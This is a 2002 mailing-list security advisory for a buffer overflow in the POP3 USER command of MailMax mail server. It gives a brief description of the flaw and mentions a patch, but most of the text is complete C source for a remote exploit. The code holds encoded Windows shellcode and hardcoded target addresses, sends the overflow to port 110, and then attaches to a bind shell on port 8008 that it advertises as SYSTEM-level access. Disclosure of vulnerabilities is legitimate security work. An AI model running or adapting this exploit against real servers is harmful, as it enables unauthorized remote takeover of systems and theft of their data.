MailMax security advisory/exploit/patch

[2c79cbe14ac7d0b8472d3f129fa1df <c79cbe14ac7d0b8472d3f129fa1df55 () yahoo com>]

2c79cbe14ac7d0b8472d3f129fa1df55 Security Advisory #4

#PRODUCT

SmartMax Software's
MailMax Professional/Standard, All Versions

#VULNERABILITY

MailMax's POP3 daemon, 'popmax', does not perform
proper bounds checking on the 'USER' argument
resulting in the possibility of crashing the service
or remotely manipulating local registers to the end of
altering execution flow somewhere sinister.. as shown
below

#EXPLOITATION

unfortunately, we do not get eip right out of the box
here.. but with buffers of various sizes we can get
eax, ecx, and edx.. edx being the most useful as shown
below..

CALL [EDX+0C] @RVA413A08

so now we just need to drop the rva of our shell that
we'd like to call into memory somewhere (-0C of
course)..

I wrote this exploit awhile ago, it's not dynamic as
we are exploiting a pointer, so we can't just simply
jmp to a register.. so instead I just repeated the
shellcode rva that hits on my 3 test machines many
times on every dword prior to the payload.. meaning we
are depending on 2 static memory addresses.. there is
probably a better way of doing this, but I don't care
enough..

#PATCH

well, I'm a nice guy.. so I wrote a patch and it's
attached (+SOURCE for the untrusting).. it simply
restricts 'USER' arguments to 90 characters by
injecting a null.. it seems to cause no functionality
problems in my tests.. the target version is 4.8.2.5
which is the current in both SE and PE.. YAY, no angry
emails this time!

#EOF?

thats mailserver #3, just playing around.. the big
boys are coming soon?

a quarter spanish and half naked,
2c79cbe14ac7d0b8472d3f129fa1df55

__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
http://health.yahoo.com

Attachment: mmpatch.zip
Description: mmpatch.zip

/*
        mmaxexp.c
        July 20th, 2002

        SmartMax MailMax Standard/Professional 4.8
        http://www.smartmax.com
        
        an overflow is present in the USER argument of
        the pop3max daemon.. however, we do not get eip..
        but with buffers of various sizes we can get
        eax, ecx, and edx.. edx being the most useful as
        shown below..
        
        CALL [EDX+0C] @RVA413A08

        so now we just need to drop the rva of our shell
        that we'd like to call into memory somewhere 
        (-0C of course)..see CALL

        YAY!@$!
        
        2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55 () yahoo com)         
*/
        
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/errno.h>
#include <unistd.h>

/* Windows 2000 Professional/Server */
char EDX2k[]  = "\x30\xd7\x68\x06";
char CALL2k[] = "\xec\xd9\x68\x06";

/* Windows XP Professional */
char EDXxp[]  = "\x30\xd7\x25\x06";
char CALLxp[] = "\xec\xd9\x25\x06";

/* we repeat the payload ptr on every */
/* dword prior to our target rva in   */
/* order to increase those sexy odds  */

char shell[2205];

char header[] = "\x55\x53\x45\x52\x20\x90\x90\x90";

char payload[] ="\x55\x8b\xec"
                "\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c"
                "\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04"
                "\x90\x90\x90\xac\x34\x15\xaa\xe2\xfa\xfd\x15\x15\x15\x15"
                "\x48\x94\xf8\xcc\x34\x55\x15\x98\xa0\xe7\x31\x55\x15\x98"
                "\xa8\xef\x31\x55\x15\x7f\x12\x85\x85\x85\x85\x4c\xfd\xc7"
                "\x17\x15\x15\x98\xa0\x3f\x30\x55\x15\x98\xa8\x26\x30\x55"
                "\x15\x7f\x1f\x85\x85\x85\x85\x4c\xfd\xaf\x17\x15\x15\x7f"
                "\x15\x98\xa0\xcc\x30\x55\x15\x43\x98\xa0\xf0\x30\x55\x15"
                "\x43\x98\xa0\xfc\x30\x55\x15\x43\xea\x80\x26\x30\x55\x15"
                "\x7f\x15\x98\xa0\xcc\x30\x55\x15\x43\x98\xa0\xf8\x30\x55"
                "\x15\x43\x98\xa0\xe4\x30\x55\x15\x43\xea\x80\x26\x30\x55"
                "\x15\xd2\x90\xe0\x30\x55\x15\x51\x15\x15\x15\x98\xa0\xe0"
                "\x30\x55\x15\x43\xea\x80\x22\x30\x55\x15\x98\xa0\x38\x33"
                "\x55\x15\xb8\x45\xea\x80\x46\x30\x55\x15\x98\xa0\x24\x33"
                "\x55\x15\xb8\x45\xea\x80\x46\x30\x55\x15\x98\xa0\xe4\x30"
                "\x55\x15\x98\xa8\x38\x33\x55\x15\xb0\x98\xa0\xf0\x30\x55"
                "\x15\xb8\x98\xa8\x24\x33\x55\x15\xbe\x98\xa8\x20\x33\x55"
                "\x15\xbe\xd2\x90\x30\x33\x55\x15\x15\x15\x15\x15\xd2\x90"
                "\x34\x33\x55\x15\x14\x14\x15\x15\x98\xa0\x2c\x33\x55\x15"
                "\x43\x98\xa0\xe0\x30\x55\x15\x43\x7f\x15\x7f\x15\x7f\x05"
                "\x7f\x14\x7f\x15\x7f\x15\x98\xa0\x5c\x33\x55\x15\x43\x7f"
                "\x15\xea\x80\x2e\x30\x55\x15\x7d\x15\x35\x15\x15\x85\x7d"
                "\x15\x17\x15\x15\xea\x80\x56\x30\x55\x15\x9c\x90\x44\x33"
                "\x55\x15\x26\xd5\x45\x55\x45\x55\x45\xea\x80\xef\x31\x55"
                "\x15\x45\x4e\x7f\x05\x98\xa0\xdc\x30\x55\x15\x43\x46\xea"
                "\x80\xeb\x31\x55\x15\x7f\x16\x46\xea\x80\x17\x30\x55\x15"
                "\x98\xa0\x40\x33\x55\x15\x43\x98\xa0\xdc\x30\x55\x15\x43"
                "\x46\xea\x80\x13\x30\x55\x15\x98\xa8\x4c\x33\x55\x15\xbe"
                "\x26\xd5\x45\x98\xa8\x70\x33\x55\x15\x42\x45\x45\x45\x98"
                "\xa0\xfc\x30\x55\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f"
                "\x25\xea\x80\x5a\x30\x55\x15\xfe\x58\x85\x85\x85\x26\xd5"
                "\x45\x98\xa8\x70\x33\x55\x15\x42\x45\x45\x45\x98\xa0\xfc"
                "\x30\x55\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f\x45\xea"
                "\x80\x5a\x30\x55\x15\x96\xa8\x70\x33\x55\x15\x17\x1a\x97"
                "\x02\x14\x15\x15\x94\xa8\x70\x33\x55\x15\x14\x35\x15\x15"
                "\x67\x1b\x85\x85\x85\x85\xd2\x90\x70\x33\x55\x15\x15\x35"
                "\x15\x15\x7f\x15\x9e\x90\x70\x33\x55\x15\x98\xa8\x70\x33"
                "\x55\x15\x42\x45\x9e\x90\x44\x33\x55\x15\x45\x98\xa0\xfc"
                "\x30\x55\x15\xb8\x45\xea\x80\x52\x30\x55\x15\x7f\x45\xea"
                "\x80\x5a\x30\x55\x15\x9e\x90\x70\x33\x55\x15\x7f\x15\x45"
                "\x98\xa0\x44\x33\x55\x15\xb8\x45\x98\xa0\x4c\x33\x55\x15"
                "\xb8\x45\xea\x80\x1f\x30\x55\x15\x7f\x15\x98\xa8\x70\x33"
                "\x55\x15\x42\x7f\x15\x7f\x15\x7f\x15\x98\xa0\xfc\x30\x55"
                "\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f\x45\xea\x80\x5a"
                "\x30\x55\x15\x26\xdc\x2c\x98\x70\x33\x55\x15\x1a\x92\x72"
                "\xea\xea\xea\x7f\x15\x7d\x15\x35\x15\x15\x85\x98\xa0\x44"
                "\x33\x55\x15\xb8\x45\x98\xa0\x4c\x33\x55\x15\xb8\x45\xea"
                "\x80\x1b\x30\x55\x15\x9c\x90\x74\x33\x55\x15\x7f\x15\x98"
                "\xa8\x70\x33\x55\x15\x42\x45\x98\xa0\x44\x33\x55\x15\xb8"
                "\x45\x98\xa0\xf8\x30\x55\x15\xb8\x45\xea\x80\x5e\x30\x55"
                "\x15\x7f\x45\xea\x80\x5a\x30\x55\x15\x7f\x15\x9e\x90\x74"
                "\x33\x55\x15\x98\xa8\x70\x33\x55\x15\x42\x45\x9e\x90\x44"
                "\x33\x55\x15\x45\x98\xa0\xfc\x30\x55\x15\xb8\x45\xea\x80"
                "\x52\x30\x55\x15\x7f\x45\xea\x80\x5a\x30\x55\x15\xfc\xac"
                "\xeb\xea\xea\x98\xa0\x4c\x33\x55\x15\xb8\x45\xea\x80\x07"
                "\x30\x55\x15\x98\xa0\x48\x33\x55\x15\xb8\x45\xea\x80\x07"
                "\x30\x55\x15\x7f\x15\xea\x80\x42\x30\x55\x15\x44\x43\x7d"
                "\xdd\x59\xbd\x15\x85\x4f\xea\x07\x45\x4e\x4c\x42\x4b\x44"
                "\x43\x46\x7d\xe5\x59\xbd\x15\x85\x4f\xea\x07\x45\xb9\x91"
                "\xd5\x60\xee\x4d\xbe\x4c\xf7\xfc\xd6\x42\x46\x5a\x56\x5e"
                "\x26\x27\x15\x66\x7a\x76\x7e\x70\x61\x15\x77\x7c\x7b\x71"
                "\x15\x79\x7c\x66\x61\x70\x7b\x15\x74\x76\x76\x70\x65\x61"
                "\x15\x66\x70\x7b\x71\x15\x67\x70\x76\x63\x15\x76\x79\x7a"
                "\x66\x70\x66\x7a\x76\x7e\x70\x61\x15\x5e\x50\x47\x5b\x50"
                "\x59\x26\x27\x15\x56\x67\x70\x74\x61\x70\x45\x7c\x65\x70"
                "\x15\x52\x70\x61\x46\x61\x74\x67\x61\x60\x65\x5c\x7b\x73"
                "\x7a\x54\x15\x56\x67\x70\x74\x61\x70\x45\x67\x7a\x76\x70"
                "\x66\x66\x54\x15\x45\x70\x70\x7e\x5b\x74\x78\x70\x71\x45"
                "\x7c\x65\x70\x15\x52\x79\x7a\x77\x74\x79\x54\x79\x79\x7a"
                "\x76\x15\x47\x70\x74\x71\x53\x7c\x79\x70\x15\x42\x67\x7c"
                "\x61\x70\x53\x7c\x79\x70\x15\x46\x79\x70\x70\x65\x15\x56"
                "\x79\x7a\x66\x70\x5d\x74\x7b\x71\x79\x70\x15\x50\x6d\x7c"
                "\x61\x45\x67\x7a\x76\x70\x66\x66\x15\x56\x7a\x71\x70\x71"
                "\x35\x77\x6c\x35\x69\x4f\x74\x7b\x35\x29\x7c\x6f\x74\x7b"
                "\x55\x71\x70\x70\x65\x6f\x7a\x7b\x70\x3b\x7a\x67\x72\x2b"
                "\x17\x15\x0a\x5d\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
                "\x15\x15\x19\x15\x15\x15\x15\x15\x15\x15\x14\x15\x15\x15"
                "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
                "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
                "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
                "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
                "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
                "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
                "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
                "\x15\x15\x56\x58\x51\x3b\x50\x4d\x50\x15\x15\x15\x15\x15"
                "\x05\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
                "\x15\x15\x15\x15\x15\x15\x1c\x1c\x1c\x1c\x1c\x90\x90\x90"
                "\x0d\x0a";

main(char argc, char **argv){
        int fd, i, opt;
        int bufsize = 1024;
        int *buffer = (int *)malloc(bufsize);
        struct sockaddr_in sin;
        struct hostent *he;
        struct in_addr in;

        printf("MailMax Standard/Professional 4.8 remote 'SYSTEM' level exploit (07/20/2002)\n");
        printf("2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55 () yahoo com)\n\n");

        if (argc < 4){
                printf("usage: %s <hostname> -t <type>\n\n", argv[0]);
                printf("types: 0 - Windows 2000 Professional/Server\n");
                printf("       1 - Windows XP Professional\n\n");
                exit(-1);
        }

        while ((opt = getopt(argc, argv, "t:"))){
                switch(opt){
                case 't':
                         if(optarg[0] == '0'){
                                strcpy(shell, header);
                                for(i = 1;i < 247;i++){
                                        strcat(shell, CALL2k);
                                }
                                strcat(shell, EDX2k);
                                strcat(shell, payload);
                                break;
                         }
                         
                         if(optarg[0] == '1'){
                                strcpy(shell, header);
                                for(i = 1; i < 247;i++){
                                        strcat(shell, CALLxp);
                                }
                                strcat(shell, EDXxp);
                                strcat(shell, payload);
                                break;
                         }
                         
                         printf("invalid type\n\n");
                         printf("types: 0 - Windows 2000 Professional SP2 + hot fixes 6/8/2002\n");
                         printf("       1 - Windows XP Professional SP1 + hot fixes 6/8/2002\n\n");
                         exit(-1);
                }
                break;
        }

        if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}

        if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr, he->h_length);}
        else
        if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve host");exit(-1);}

        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr(inet_ntoa(in));
        sin.sin_port = htons(110);
 
        printf("connecting to tcp port 110 (POP3)...\n");
        if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){perror("connection error");exit(-1);}
 
        printf("connected.\n\n");
        sleep(1);
        printf("dumping payload...");
        if(write(fd, shell, strlen(shell)) < strlen(shell)){perror("write error");exit(-1);}
        printf("done\n");
        printf("code dumped.\n\n");

        close(fd);

        if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}

        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr(argv[1]);
        sin.sin_port = htons(8008);

        printf("connecting to tcp port 8008... (wait 3s)\n");
        sleep(3);
        if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){printf("exploit failed.. adjust 
EDX/CALL?\n\n");exit(-1);}
        printf("success! izn0wnz3rat3d!\n\n");

        while(1) {
                fd_set input;

                FD_SET(0,&input);
                FD_SET(fd,&input);
                if((select(fd+1,&input,NULL,NULL,NULL))<0) {
                        if(errno==EINTR) continue;
                        printf("connection reset\n"); fflush(stdout);
                        exit(1);
                }
                if(FD_ISSET(fd,&input))
                        write(1,buffer,read(fd,buffer,bufsize));
                if(FD_ISSET(0,&input))
                        write(fd,buffer,read(0,buffer,bufsize));
        }

        close(fd);

}